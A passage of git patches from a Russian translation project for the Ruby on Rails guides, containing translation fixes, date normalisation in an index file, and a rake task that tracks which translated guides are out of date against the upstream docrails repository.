From 7213ed7d80bf9dd76bfba3a6787bae1ab0d66422 Mon Sep 17 00:00:00 2001 From: webmstk Date: Fri, 13 Mar 2015 21:04:29 +0300 Subject: [PATCH 001/932] Update getting_started.md MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit убран лишний текст --- source/getting_started.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/source/getting_started.md b/source/getting_started.md index 6ad06ae7..9fb046ab 100644 --- a/source/getting_started.md +++ b/source/getting_started.md @@ -1548,7 +1548,7 @@ class CommentsController < ApplicationController ![Простой вызов аутентификации HTTP](/images/getting_started/challenge.png) -Также для приложений Rails доступны иные методы аутентификации. Двумя популярными аддонами для Rails, среди прочих, являются are the [Devise](https://github.com/plataformatec/devise) +Также для приложений Rails доступны иные методы аутентификации. Двумя популярными аддонами для Rails, среди прочих, являются [Devise](https://github.com/plataformatec/devise) и [Authlogic](https://github.com/binarylogic/authlogic). ### Прочие мысли о безопасности From 49c098ab20e0bb9021bad6dd473bac2c6f877243 Mon Sep 17 00:00:00 2001 From: webmstk Date: Fri, 13 Mar 2015 21:26:29 +0300 Subject: [PATCH 002/932] Update active_record_basics.md MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit правка перевода --- source/active_record_basics.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/source/active_record_basics.md b/source/active_record_basics.md index 98321032..88b10e2b 100644 --- a/source/active_record_basics.md +++ b/source/active_record_basics.md @@ -271,6 +271,6 @@ class CreatePublications < ActiveRecord::Migration end ``` -Rails отслеживает, какие файлы переданы в базу данных, и представляет особенность отката. Чтобы фактически создать таблицу, нужно запустить `rake db:migrate`, а чтобы ее откатить `rake db:rollback`. +Rails отслеживает, какие файлы переданы в базу данных, и представляет возможность отката. Чтобы фактически создать таблицу, нужно запустить `rake db:migrate`, а чтобы ее откатить `rake db:rollback`. Отметьте, что вышеприведенный код не зависит от базы данных: он выполнится в MySQL, PostgreSQL, Oracle и иных. Подробнее о миграциях можно прочитать в [руководстве по миграциям Active Record](/rails-database-migrations) From 27df9dc1e6f08c43820dd769d2fe268850602b43 Mon Sep 17 00:00:00 2001 From: Mikhail Dieterle Date: Sat, 14 Mar 2015 22:57:02 +0300 Subject: [PATCH 003/932] task for calculating priority --- Gemfile | 2 ++ Gemfile.lock | 2 ++ lib/tasks/docrails.rake | 52 +++++++++++++++++++++++++++++++ source/index.yml | 68 ++++++++++++++++++++--------------------- 4 files changed, 90 insertions(+), 34 deletions(-) create mode 100644 lib/tasks/docrails.rake diff --git a/Gemfile b/Gemfile index 589e6179..f165a3e1 100644 --- a/Gemfile +++ b/Gemfile @@ -24,6 +24,8 @@ gem 'unicorn' gem 'uglifier', '>= 1.3.0' gem 'coffee-rails', '~> 4.0.0' +gem 'git', require: false + group :development do gem 'quiet_assets' # Need for cap tasks for 3.2 branch diff --git a/Gemfile.lock b/Gemfile.lock index 0d8f6d60..cf2cd455 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -54,6 +54,7 @@ GEM factory_girl_rails (4.4.0) factory_girl (~> 4.4.0) railties (>= 3.0.0) + git (1.2.9.1) haml (4.0.5) tilt haml-rails (0.5.3) @@ -209,6 +210,7 @@ DEPENDENCIES coffee-rails (~> 4.0.0) database_cleaner factory_girl_rails + git haml-rails jquery-rails less-rails diff --git a/lib/tasks/docrails.rake b/lib/tasks/docrails.rake new file mode 100644 index 00000000..1d0d2ad3 --- /dev/null +++ b/lib/tasks/docrails.rake @@ -0,0 +1,52 @@ +require 'git' + +namespace :docrails do + desc 'Current status of translations' + + task status: :environment do + docrails # pull + + known_guides = (config['pages'] + config['plan'] + config['old']).map { |page| page['file'] } + all_guides = Dir["#{docrails_path}/guides/source/*.md"].map { |file| file[/[^\/]+\z/]} + + puts 'New guides: ', (all_guides - known_guides).join(', ') + puts 'Removed guides: ', (known_guides - all_guides).join(', ') + + stats = [] + + config['pages'].each do |page| + file = "guides/source/#{page['file']}" + stat = docrails.diff(page['revision']).path(file).stats + log = docrails.log(1).path(file).first + outdated = log.author_date.to_date - Date.strptime(page['date'], '%d/%m/%Y') + stats << page.merge(stat[:total]) + .merge(objectish: log.objectish, new_date: log.author_date, outdated: outdated.to_i) + end + + stats.sort_by! { |stat| stat[:lines] + stat[:outdated] } + + stats.map do |stat| + puts '%40.40s: +/- %4s/%4s, outdated %4s days (%s %s)' % [stat['file'], stat[:insertions], stat[:deletions], + stat[:outdated], stat[:objectish], stat[:new_date]] + end + end + + def docrails + @docrails ||= if Dir.exists?(docrails_path) + Git.open(docrails_path).tap(&:pull) + else + Git.clone 'git@github.com:rails/docrails.git', 'docrails', path: docrails_path(false) + end + end + + def docrails_path(inside = true) + path = ['tmp', inside ? 'docrails' : nil].compact + Rails.root.join(*path) + end + + def config + @config = YAML.load IO.read Rails.root.join 'source', 'index.yml' + end + + +end diff --git a/source/index.yml b/source/index.yml index 3cba734b..cad07b54 100644 --- a/source/index.yml +++ b/source/index.yml @@ -12,79 +12,79 @@ pages: path: getting-started-with-rails file: getting_started.md revision: f28d1ddd507174ac233b773cc4f35c3c05ad32e7 - date: 21/11/14 + date: 21/11/2014 - title: Основы Active Record path: active-record-basics file: active_record_basics.md revision: 1cfe432e178fb207962ee62f3a56b67aee4b27a3 - date: 25/10/14 + date: 25/10/2014 - title: Миграции базы данных Rails path: rails-database-migrations file: active_record_migrations.md revision: 2a1afe6b372b9c8c59b875ebaa0e4f29e407afc2 - date: 24/10/14 + date: 24/10/2014 - title: Валидации Active Record path: active-record-validations file: active_record_validations.md revision: 9887a2cfe52f30d4a91e0d16fe57ecf96537b98c - date: 04/11/14 + date: 04/11/2014 - title: Колбэки Active Record path: active-record-callbacks file: active_record_callbacks.md revision: da5ac718859fe7eac599574334431348fc3e4361 - date: 09/07/14 + date: 09/07/2014 - title: Связи Active Record path: active-record-associations file: association_basics.md revision: 263e9e468172b0f7ab6d048af260b0b50c2afa1c - date: 27/11/14 + date: 27/11/2014 - title: Интерфейс запросов Active Record path: active-record-query-interface file: active_record_querying.md revision: 3686513de755762842f0dad949164dea80ad6b36 - date: 17/01/15 + date: 17/01/2015 - title: Основы Active Model path: active-model-basics file: active_model_basics.md revision: 9aa1a3d85327fa0a3055b5b757a0be092ce582f7 - date: 23/09/13 + date: 23/09/2013 - title: Макеты и рендеринг в Rails path: layouts-and-rendering-in-rails file: layouts_and_rendering.md revision: 8b18449c27336bb1861292ff1913df31cbe90f5f - date: 22/01/15 + date: 22/01/2015 - title: Хелперы форм Rails path: rails-form-helpers file: form_helpers.md revision: 7ba24831d7f809d54e88607db8f7d21780efbdfb - date: 14/01/15 + date: 14/01/2015 - title: Обзор Action Controller path: action-controller-overview file: action_controller_overview.md revision: 5cfaf5a46eb154f98ba8963bdcfade0afdc618ad - date: 14/01/15 + date: 14/01/2015 - title: Роутинг в Rails path: rails-routing file: routing.md revision: b8fbcc0787dde662049794ea4555c8aa52847843 - date: 04/09/14 + date: 04/09/2014 - title: Расширения ядра Active Support path: active-support-core-extensions file: active_support_core_extensions.md revision: 5accf7a7716b236394ff2cd806ff5d25ffbf9776 - date: 03/12/14 + date: 03/12/2014 - title: Инструметарий Active Support path: active-support-instrumentation @@ -96,91 +96,91 @@ pages: path: rails-internationalization-i18n-api file: i18n.md revision: 7a3192e760e41a3f52418fb88841bbaa1c615a0e - date: 08/07/14 + date: 08/07/2014 - title: Основы Action Mailer path: action-mailer-basics file: action_mailer_basics.md revision: 3941b8da9fcba93c30dd8dc89af648872b809e5e - date: 21/08/14 + date: 21/08/2014 - title: Основы Active Job path: active_job_basics file: active_job_basics.md revision: 50a3e482ad23091890139d990cced9027a9a0d77 - date: 12/12/14 + date: 12/12/2014 - title: Руководство по тестированию приложений на Rails path: a-guide-to-testing-rails-applications file: testing.md revision: 25895427c38252c019a0e5bfe310183389c34d93 - date: 03/10/14 + date: 03/10/2014 - title: Руководство Ruby On Rails по безопасности path: ruby-on-rails-security-guide file: security.md revision: 8f8ccb9901cab457c6e1d52bdb25acf658fd5777 - date: 14/09/14 + date: 14/09/2014 - title: Отладка приложений на Rails path: debugging-rails-applications file: debugging_rails_applications.md revision: 5cfaf5a46eb154f98ba8963bdcfade0afdc618ad - date: 14/01/15 + date: 14/01/2015 - title: Конфигурирование приложений на Rails path: configuring-rails-applications file: configuring.md revision: 3f96b6973b82ad17e443dd1d21be05996fb6fbf0 - date: 15/01/15 + date: 15/01/2015 - title: Руководство по командной строке Rails path: a-guide-to-the-rails-command-line file: command_line.md revision: 7910d7d863bd8128e4847347861e3d9ba167f65b - date: 15/11/13 + date: 15/11/2013 - title: 'Кэширование с Rails: Обзор' path: caching-with-rails-an-overview file: caching_with_rails.md revision: 99eb1eb4dfcb3a270deb1f83d495749a90a1d08e - date: 19/11/13 + date: 19/11/2013 - title: Asset Pipeline path: asset-pipeline file: asset_pipeline.md revision: 3e3ed1ede51f4d2f7f1d30b3754072b1121d5394 - date: 16/02/14 + date: 16/02/2014 - title: Работа с JavaScript в Rails path: working-with-javascript-in-rails file: working_with_javascript_in_rails.md revision: d02c810e29080389ab26313ae75556081aa9ac63 - date: 22/05/14 + date: 22/05/2014 - title: Engine для начинающих path: engines file: engines.md revision: 1196bec8e0446aa3bd5f666a9580ed7e7215c973 - date: 28/12/13 + date: 28/12/2013 - title: Процесс инициализации в Rails path: initialization file: initialization.md revision: 56fa194daa171f50b73f08ec0a52f845dc0f5a51 - date: 10/02/14 + date: 10/02/2014 - title: Автозагрузка и перезагрузка констант path: constant_autoloading_and_reloading file: constant_autoloading_and_reloading.md revision: 604df2c57e3aaa38557985d73ea1665021689bf9 - date: 20/12/14 + date: 20/12/2014 - title: Основы создания плагинов Rails path: plugins file: plugins.md revision: ff7ab3bc78abc3e8439a57ef7d755c5aa5b069f4 - date: 29/12/13 + date: 29/12/2013 - title: Rails on Rack path: rails-on-rack @@ -204,37 +204,37 @@ pages: path: 3_0_release_notes file: 3_0_release_notes.md revision: 080fc9cad39a98b6973cd7a7106f1bcb10d3ad02 - date: 20/01/14 + date: 20/01/2014 - title: Заметки о релизе Ruby on Rails 3.1 path: 3_1_release_notes file: 3_1_release_notes.md revision: 998550396f1911d830a8d52f71972030064a1a9e - date: 17/12/13 + date: 17/12/2013 - title: Заметки о релизе Ruby on Rails 3.2 path: 3_2_release_notes file: 3_2_release_notes.md revision: e10f91000be7e67e7fa6768088f381668d81be05 - date: 14/12/13 + date: 14/12/2013 - title: Заметки о релизе Ruby on Rails 4.0 path: 4_0_release_notes file: 4_0_release_notes.md revision: 798da61825cb3ba8a44b8a9bf8cb984acd373332 - date: 17/12/13 + date: 17/12/2013 - title: Заметки о релизе Ruby on Rails 4.1 path: 4_1_release_notes file: 4_1_release_notes.md revision: 578839bbbd8c0ca670a9735aafdf49bd7c8587c8 - date: 18/02/14 + date: 18/02/2014 - title: Заметки о релизе Ruby on Rails 4.2 path: 4_2_release_notes file: 4_2_release_notes.md revision: be1e0241f012f1151d2448b10e14b8b2eda26b84 - date: 18/12/14 + date: 18/12/2014 plan: - file: action_view_overview.md From 44d59ba0b148add76048290cd4f343ef56884f07 Mon Sep 17 00:00:00 2001 From: Mikhail Dieterle Date: Sun, 15 Mar 2015 11:01:17 +0300 Subject: [PATCH 004/932] update constants guide --- lib/tasks/docrails.rake | 3 +- ...=> autoloading_and_reloading_constants.md} | 38 ++++++++++++------- source/index.yml | 6 +-- 3 files changed, 30 insertions(+), 17 deletions(-) rename source/{constant_autoloading_and_reloading.md => autoloading_and_reloading_constants.md} (95%) diff --git a/lib/tasks/docrails.rake b/lib/tasks/docrails.rake index 1d0d2ad3..fa8df271 100644 --- a/lib/tasks/docrails.rake +++ b/lib/tasks/docrails.rake @@ -27,7 +27,8 @@ namespace :docrails do stats.map do |stat| puts '%40.40s: +/- %4s/%4s, outdated %4s days (%s %s)' % [stat['file'], stat[:insertions], stat[:deletions], - stat[:outdated], stat[:objectish], stat[:new_date]] + stat[:outdated], stat[:objectish], + stat[:new_date].strftime('%d/%m/%Y')] end end diff --git a/source/constant_autoloading_and_reloading.md b/source/autoloading_and_reloading_constants.md similarity index 95% rename from source/constant_autoloading_and_reloading.md rename to source/autoloading_and_reloading_constants.md index 5da2f78e..0dfd76f5 100644 --- a/source/constant_autoloading_and_reloading.md +++ b/source/autoloading_and_reloading_constants.md @@ -68,7 +68,7 @@ module XML end ``` -*Вложенность* в любое заданное место — это коллекция из охваченных вложенных объектов класса и модуля для доступа снаружи. Например, в предыдущем примере вложенностью (1) является +*Вложенность* в любое заданное место — это коллекция из охваченных вложенных объектов класса и модуля для доступа снаружи. Вложенность в любом заданном месте можно просмотреть с помощью `Module.nesting`. Например, в предыдущем примере вложенностью (1) является ```ruby [XML::SAXParser, XML] @@ -97,6 +97,16 @@ end Более того, они абсолютно независимы, для примера ```ruby +module X + module Y + end +end + +module A + module B + end +end + module X::Y module A::B # (3) @@ -120,14 +130,12 @@ end * Синглтон-класс, открытый с помощью `class << object` добавляется, затем извлекается. -* Когда вызывается любой метод из семейства `*_eval` со строковым аргументом, синглтон-класс получателя добавляется во вложенность вычисляемого кода. +* Когда вызывается `instance_eval` со строковым аргументом, синглтон-класс получателя добавляется во вложенность вычисляемого кода. Когда вызываются `class_eval` или `module_eval` со строковым аргументом, получатель добавляется во вложенность вычисляемого кода. * Вложенность в коде верхнего уровня, интерпретируемого `Kernel#load`, пустая, за исключением случая, когда вызов `load` получает true в качестве второго аргумента, в случае чего Ruby добавляет вновь созданный анонимный модуль. Любопытно, что блоки не изменяют стек. В частности, блоки, переданные в `Class.new` и `Module.new`, не добавляют определяемые класс или модуль в их вложенность. Это одно из отличий между определением классов или модулей тем или иным способом. -Можно просмотреть вложенность в любом месте с помощью `Module.nesting`. - ### Определения класса и модуля — это назначения констант Допустим, следующий код создает класс (а не переоткрывает его): @@ -158,7 +166,7 @@ Project = Class.new(ActiveRecord::Base) Project.name # => "Project" ``` -У назначения констант есть специальное правило, благодаря которому это происходит: если назначаемый объект является анонимным классом или модулем, Ruby устанавлевает его имя по константе. +У назначения констант есть специальное правило, благодаря которому это происходит: если назначаемый объект является анонимным классом или модулем, Ruby устанавлевает имя объекта по константе. INFO. С этого момента то, что будет происходить с константой или экземпляром, не имеет значения. Например, константа может быть удалена, объект класса может быть назначен другой константе, больше не храниться в константе, и так далее. Как только имя установлено, оно не меняется. @@ -183,7 +191,7 @@ Admin.name # => "Admin" WARNING. Контекст выполнения блока, переданного в `Class.new` или `Module.new`, не полностью эквивалентен контексту тела определений с помощью ключевых слов `class` и `module`. Но обе идиомы приводят к одинаковому назначению константы. -Таким образом, когда кто-то говорит "класс `String`", в реальности это означает: объект класса, хранимого в константе с именем "String" в объекте класса, хранимого в константе `Object`. С другой стороны, `String` — это обычная константа Ruby, и к ней применяется все, относящееся к константам, алгоритмы резолюции и так далее. +Таким образом, когда кто-то говорит "класс `String`", в реальности это означает: объект класса, хранимого в константе с именем "String" в объекте класса, хранимого в константе `Object`. С другой стороны, `String` — это обычная константа Ruby, и к ней применяется все, относящееся к константам, например применяемые к ней алгоритмы резолюции. Более того, в контроллере @@ -233,7 +241,9 @@ end 2. Если не найдена, алгоритм проходит по цепочке предков у cref. -3. Если не найдена, вызывается `const_missing` на cref. Реализация по умолчанию для `const_missing` вызывает `NameError`, но может быть переопределена. +3. Если не найдена и cref — это модуль, константа ищется в `Object`. + +4. Если не найдена, вызывается `const_missing` на cref. Реализация по умолчанию для `const_missing` вызывает `NameError`, но может быть переопределена. Автозагрузка Rails **не эмулирует этот алгоритм**, но его отправной точкой является имя константы, которую нужно автоматически загрузить, и cref. Подробнее в главе [Относительные ссылки](#relative-references). @@ -334,12 +344,14 @@ Ruby ищет файл в директориях, перечисленных в * Директория `test/mailers/previews`. -А также эта коллекция настраивается с помощью `config.autoload_paths`. Например, `lib` была в списке пару лет назад, но сейчас уже нет. Можно ее добавить, включив в `config/application.rb`: +А также эта коллекция настраивается с помощью `config.autoload_paths`. Например, `lib` была в списке пару лет назад, но сейчас уже нет. Можно ее добавить, добавив в `config/application.rb`: ```ruby -config.autoload_paths += "#{Rails.root}/lib" +config.autoload_paths << "#{Rails.root}/lib" ``` +`config.autoload_paths` доступна и в конфигурационных файлов, относящихся к окружению, но любые изменения, сделанные вне `config/application.rb` будут безрезультатны. + Значение `autoload_paths` можно просмотреть. В только что созданном приложении она (отредактировано): ``` @@ -521,7 +533,7 @@ end ### (generic-procedure) Общая процедура -Относительные ссылки считаются отсутствующими в cref места, где они вызваны, а ограниченные ссылки считаются отстутствующими в их parent. (Определение *cref* смотрите в [Алгоритмы резолюции для относительных констант](#resolution-algorithm-for-relative-constants) в начале этого руководства, а определение *parent* — в [Алгоритмы резолюции для ограниченных констант](#resolution-algorithm-for-qualified-constants).) +Относительные ссылки считаются отсутствующими в cref места, где они вызваны, а ограниченные ссылки считаются отстутствующими в их parent (определение *cref* смотрите в [Алгоритмы резолюции для относительных констант](#resolution-algorithm-for-relative-constants) в начале этого руководства, а определение *parent* — в [Алгоритмы резолюции для ограниченных констант](#resolution-algorithm-for-qualified-constants)) Процедура автозагрузки константы `C` в произвольной ситуации следующая: @@ -660,7 +672,7 @@ class Admin::UsersController < ApplicationController end ``` -Чтобы разрешить `User`, Ruby проверяет `Admin` в первом, но не в последнем случае, так как он не принадлежит вложенности. (Подробнее во [Вложенность](#nesting) и [Алгоритмы резолюции](#resolution-algorithms).) +Чтобы разрешить `User`, Ruby проверяет `Admin` в первом, но не в последнем случае, так как он не принадлежит вложенности (подробнее во [Вложенность](#nesting) и [Алгоритмы резолюции](#resolution-algorithms)) К сожалению, автозагрузка Rails не знает о вложенности в месте, где отстутствует константа, и не способен сработать так, как Ruby. В частности, `Admin::User` автоматически загрузится в любом случае. @@ -678,7 +690,7 @@ end ### (Autoloading and STI) Автозагрузка и STI -Наследование с единой таблицей (STI) — это особенность Active Record, упрощающая хранение иерархии моделей в одной отдельной таблице. API таких моделей знает об иерархии и инкапсулирует некоторые общие потребности. Например, имеем следующие классы: +Наследование с единой таблицей (STI) — это особенность Active Record, позволяющая храненить иерархию моделей в одной отдельной таблице. API таких моделей знает об иерархии и инкапсулирует некоторые общие потребности. Например, имеем следующие классы: ```ruby # app/models/polygon.rb @@ -914,7 +926,7 @@ class Hotel end ``` -Выражение `Hotel::Image` двусмысленное, зависящее от последовательности выполнения. +Выражение `Hotel::Image` двусмысленное, так как оно зависит от последовательности выполнения. Как [мы видели раньше](#resolution-algorithm-for-qualified-constants), Ruby ищет константу в `Hotel` и его предках. Если `app/models/image.rb` был загружен, но `app/models/hotel/image.rb` не был, Ruby не найдет `Image` в `Hotel`, но найдет в `Object`: diff --git a/source/index.yml b/source/index.yml index cad07b54..83e49cfd 100644 --- a/source/index.yml +++ b/source/index.yml @@ -172,9 +172,9 @@ pages: - title: Автозагрузка и перезагрузка констант path: constant_autoloading_and_reloading - file: constant_autoloading_and_reloading.md - revision: 604df2c57e3aaa38557985d73ea1665021689bf9 - date: 20/12/2014 + file: autoloading_and_reloading_constants.md + revision: 9814eb64275973abc66b1481b522c39b7083fff5 + date: 18/02/2015 - title: Основы создания плагинов Rails path: plugins From 1b7fb21932eb0eba90b4f28a90e12c6d7887acc9 Mon Sep 17 00:00:00 2001 From: Mikhail Dieterle Date: Sun, 15 Mar 2015 11:50:15 +0300 Subject: [PATCH 005/932] task to make diff --- .gitignore | 2 +- README.md | 9 +++++---- lib/tasks/docrails.rake | 18 ++++++++++++++++++ 3 files changed, 24 insertions(+), 5 deletions(-) diff --git a/.gitignore b/.gitignore index 47740f0c..0aa24e8a 100644 --- a/.gitignore +++ b/.gitignore @@ -14,7 +14,7 @@ tmp webrat.log .sass-cache/ tmp/ - +diff.diff config/settings.local.yml config/settings/*.local.yml config/environments/*.local.yml diff --git a/README.md b/README.md index c87d769c..8e01262e 100644 --- a/README.md +++ b/README.md @@ -54,16 +54,17 @@ Алгоритм работы: -* Клонируете репозиторий docrails, если уже есть репозиторий, обновляете его до актуального состояния (fetch/merge) +* Делаете форк. [Инструкция по форкам](http://help.github.com/fork-a-repo/) +* Выбираете руководство (степень актуальности всех руководств можно оценить с помощью `rake docrails:status`) * Открываете [issue в rusrails](https://github.com/morsbox/rusrails/issues), с пометкой о руководстве которое хотите обновить/перевести(чтобы этим руководством никто параллельно не занимался) -* Берете diff по отдельному файлу `git diff fa159d317611d1fe5b48 -- guides/source/getting_started.md >> getting.diff`. Ревизия - из файла `source/index.yml` -* Смотрите номер последней ревизии по файлу `git log -- guides/source/getting_started.md`, изменяете эти данные в `source/index.yml` +* Смотрите, что изменилось - `rake 'docrails:diff[file_name]' > diff.diff` - в файле `diff.diff` +* В том же файле смотрите информацию по последней ревизии и ее дате, изменяете эти данные в `source/index.yml` * Вносите в нужных местах исправления по диффу * Отправляете пул-реквест Хотите помочь с развитием сайта? -------------------------------- -Есть много всяких идей, до которых руки не доходят, например, редизайн, социализация, расширение на другие руководства, связанные с rails, и т.д. +Есть много всяких идей, до которых руки не доходят, например, правки дизайна, социализация, расширение на другие руководства, связанные с Rails, версии в PDF/kindle и т.д. Предлагайте свои идеи, которые в состоянии реализовать. [@RusRails](http://twitter.com/rusrails) diff --git a/lib/tasks/docrails.rake b/lib/tasks/docrails.rake index fa8df271..dc7ebfd1 100644 --- a/lib/tasks/docrails.rake +++ b/lib/tasks/docrails.rake @@ -32,6 +32,24 @@ namespace :docrails do end end + desc "make diff (use rake 'docrails:diff[file_name]' > diff.diff)" + + task :diff, [:file_name] => :environment do |_, args| + page = config['pages'].detect { |page| page['file'] == args.file_name } + if page + file = "guides/source/#{page['file']}" + log = docrails.log(1).path(file).first + puts "-" * 80 + puts " revision: #{log.objectish}" + puts " date: #{log.author_date.strftime('%d/%m/%Y')}" + puts "-" * 80 + puts docrails.diff(page['revision']).path(file).first.patch + else + puts "Page #{args.file_name} not found!" + end + + end + def docrails @docrails ||= if Dir.exists?(docrails_path) Git.open(docrails_path).tap(&:pull) From f8cc83dd312c903a377851d59abb8363cf871fde Mon Sep 17 00:00:00 2001 From: Mikhail Dieterle Date: Sun, 15 Mar 2015 12:14:46 +0300 Subject: [PATCH 006/932] add new guides to plan --- source/index.yml | 2 ++ 1 file changed, 2 insertions(+) diff --git a/source/index.yml b/source/index.yml index 83e49cfd..90f5f952 100644 --- a/source/index.yml +++ b/source/index.yml @@ -242,6 +242,8 @@ plan: - file: api_documentation_guidelines.md - file: contributing_to_ruby_on_rails.md - file: development_dependencies_install.md + - file: maintenance_policy.md + - file: profiling.md - file: rails_application_templates.md - file: ruby_on_rails_guides_guidelines.md From 262241a97e8129b0382e3c1a8122ec675d9217de Mon Sep 17 00:00:00 2001 From: Mikhail Dieterle Date: Sun, 15 Mar 2015 18:50:54 +0300 Subject: [PATCH 007/932] include new guides in outdated 'rating' --- lib/tasks/docrails.rake | 16 ++++++++++++---- 1 file changed, 12 insertions(+), 4 deletions(-) diff --git a/lib/tasks/docrails.rake b/lib/tasks/docrails.rake index dc7ebfd1..98c57e77 100644 --- a/lib/tasks/docrails.rake +++ b/lib/tasks/docrails.rake @@ -20,15 +20,23 @@ namespace :docrails do log = docrails.log(1).path(file).first outdated = log.author_date.to_date - Date.strptime(page['date'], '%d/%m/%Y') stats << page.merge(stat[:total]) - .merge(objectish: log.objectish, new_date: log.author_date, outdated: outdated.to_i) + .merge(objectish: log.objectish, new_date: log.author_date, outdated: outdated.to_i) + end + + config['plan'].each do |page| + file = "guides/source/#{page['file']}" + stat = docrails.diff('4b825dc642cb6eb9a060e54bf8d69288fbee4904').path(file).stats + log = docrails.log(1).path(file).first + stats << page.merge(stat[:total]).merge(new: true) + .merge(objectish: log.objectish, new_date: log.author_date, outdated: 0) end stats.sort_by! { |stat| stat[:lines] + stat[:outdated] } stats.map do |stat| - puts '%40.40s: +/- %4s/%4s, outdated %4s days (%s %s)' % [stat['file'], stat[:insertions], stat[:deletions], - stat[:outdated], stat[:objectish], - stat[:new_date].strftime('%d/%m/%Y')] + puts '%s %40.40s: +/- %4s/%4s, outdated %4s days (%s %s)' % + [stat[:new] ? '*' : ' ', stat['file'], stat[:insertions], stat[:deletions], + stat[:outdated], stat[:objectish], stat[:new_date].strftime('%d/%m/%Y')] end end From dd9ff0da9265b1ec58a16245b84060181e59792a Mon Sep 17 00:00:00 2001 From: Mikhail Dieterle Date: Sun, 15 Mar 2015 19:21:57 +0300 Subject: [PATCH 008/932] also show outdated images --- lib/tasks/docrails.rake | 14 ++++++++++++-- source/index.yml | 4 ++++ 2 files changed, 16 insertions(+), 2 deletions(-) diff --git a/lib/tasks/docrails.rake b/lib/tasks/docrails.rake index 98c57e77..e91cebcc 100644 --- a/lib/tasks/docrails.rake +++ b/lib/tasks/docrails.rake @@ -8,9 +8,19 @@ namespace :docrails do known_guides = (config['pages'] + config['plan'] + config['old']).map { |page| page['file'] } all_guides = Dir["#{docrails_path}/guides/source/*.md"].map { |file| file[/[^\/]+\z/]} + new_guides = all_guides - known_guides + removed_guides = known_guides - all_guides - puts 'New guides: ', (all_guides - known_guides).join(', ') - puts 'Removed guides: ', (known_guides - all_guides).join(', ') + puts 'New guides: ', new_guides.join(', ') if new_guides.present? + puts 'Removed guides: ', removed_guides.join(', ') if removed_guides.present? + + images_stat = docrails.diff(config['images']['revision']).path('guides/assets/images').stats + if images_stat[:files].present? + puts "Updated images:" + images_stat[:files].each { |file, _| puts " - %s" % file } + end + + puts stats = [] diff --git a/source/index.yml b/source/index.yml index 90f5f952..33043074 100644 --- a/source/index.yml +++ b/source/index.yml @@ -236,6 +236,10 @@ pages: revision: be1e0241f012f1151d2448b10e14b8b2eda26b84 date: 18/12/2014 +images: + revision: 7aa500d2edcc2a2990e7a72799661d4a1227d441 + date: 25/02/2014 + plan: - file: action_view_overview.md - file: active_record_postgresql.md From 3cf93500e7923e5de276eb9966a0aeb61fb6f742 Mon Sep 17 00:00:00 2001 From: Mikhail Dieterle Date: Mon, 23 Mar 2015 13:19:43 +0300 Subject: [PATCH 009/932] Action View guide --- source/4_1_release_notes.md | 6 +- source/action_view_overview.md | 1553 +++++++++++++++++++++++++++ source/active_record_validations.md | 42 +- source/form_helpers.md | 2 +- source/i18n.md | 4 +- source/index.md | 1 + source/index.yml | 7 +- source/menu.md | 1 + source/security.md | 2 +- 9 files changed, 1589 insertions(+), 29 deletions(-) create mode 100644 source/action_view_overview.md diff --git a/source/4_1_release_notes.md b/source/4_1_release_notes.md index 88868601..ea0b478b 100644 --- a/source/4_1_release_notes.md +++ b/source/4_1_release_notes.md @@ -434,9 +434,9 @@ Active Record использовавшееся ранее в цепочке запросов. ([Commit](https://github.com/rails/rails/commit/f950b2699f97749ef706c6939a84dfc85f0b05f2)) * Расширен метод `ActiveRecord::Base#cache_key`, который теперь принимает опциональный список timestamp - аттрибутов, из которых будет использоваться самое больше. ([Commit](https://github.com/rails/rails/commit/e94e97ca796c0759d8fcb8f946a3bbc60252d329)) + атрибутов, из которых будет использоваться самое больше. ([Commit](https://github.com/rails/rails/commit/e94e97ca796c0759d8fcb8f946a3bbc60252d329)) -* Добавлен `ActiveRecord::Base#enum` для описания enum аттрибутов, в которых значения связаны с числами в базе данных, но могут быть запрошены с помощью имени. ([Commit](https://github.com/rails/rails/commit/db41eb8a6ea88b854bf5cd11070ea4245e1639c5)) +* Добавлен `ActiveRecord::Base#enum` для описания enum атрибутов, в которых значения связаны с числами в базе данных, но могут быть запрошены с помощью имени. ([Commit](https://github.com/rails/rails/commit/db41eb8a6ea88b854bf5cd11070ea4245e1639c5)) * Приведение типов для значений json при записи, таким образом значение не изменится при чтении из базы данных. ([Pull Request](https://github.com/rails/rails/pull/12643)) @@ -464,7 +464,7 @@ Active Record `:inverse_of`, Active Record самостоятельно определит противоположную связь, основываясь на эвристике. ([Pull Request](https://github.com/rails/rails/pull/10886)) -* Оперирование псевдонимами атрибутов в ActiveRecord::Relation. При использовании символьных ключей, ActiveRecord теперь переведет имена-псевдонимы аттрибутов к фактическим именам столбцов, используемых в базе данных. ([Pull Request](https://github.com/rails/rails/pull/7839)) +* Оперирование псевдонимами атрибутов в ActiveRecord::Relation. При использовании символьных ключей, ActiveRecord теперь переведет имена-псевдонимы атрибутов к фактическим именам столбцов, используемых в базе данных. ([Pull Request](https://github.com/rails/rails/pull/7839)) * Шаблоны ERB в фикстурах больше не вычисляются в контексте главного объекта. Методы хелперов, использующиеся в нескольких фикстурах, должны объявляться в модулях, включённых в `ActiveRecord::FixtureSet.context_class`. ([Pull Request](https://github.com/rails/rails/pull/13022)) diff --git a/source/action_view_overview.md b/source/action_view_overview.md new file mode 100644 index 00000000..b71cea8f --- /dev/null +++ b/source/action_view_overview.md @@ -0,0 +1,1553 @@ +Обзор Action View +================= + +После прочтения этого руководства вы узнаете: + +* Что такое Action View, и как его использовать вместе с Rails. +* Как лучше использовать шаблоны, партиалы и макеты. +* Какие хелперы предоставлены Action View, и как сделать свои собственные. +* Как использовать локализованные вьюхи. + +-------------------------------------------------------------------------------- + +Что такое Action View? +-------------------- + +Action View и Action Controller — это два важных компонента Action Pack. В Rails веб-запросы обрабатываются Action Pack, который разделяет работу между контроллером (выполнение логики) и вьюхой (рендеринг шаблона). Обычно Action Controller будет ответственен за связь с базой данных и выполнение действий CRUD. Тогда Action View ответственен за компиляцию отклика. + +Шаблоны Action View пишутся с помощью тегов вложенного Ruby, смешанных с HTML. Чтобы избежать загромождения вьюх шаблонным кодом, общее поведение для форм, дат и строк представлено рядом хелпер-классов. В существующее приложение также легко добавлять новые хелперы. + +NOTE: Некоторые особенности Action View связаны с Active Record, но это не означает, что Action View зависит от Active Record. Action View — это независимый пакет, который можно 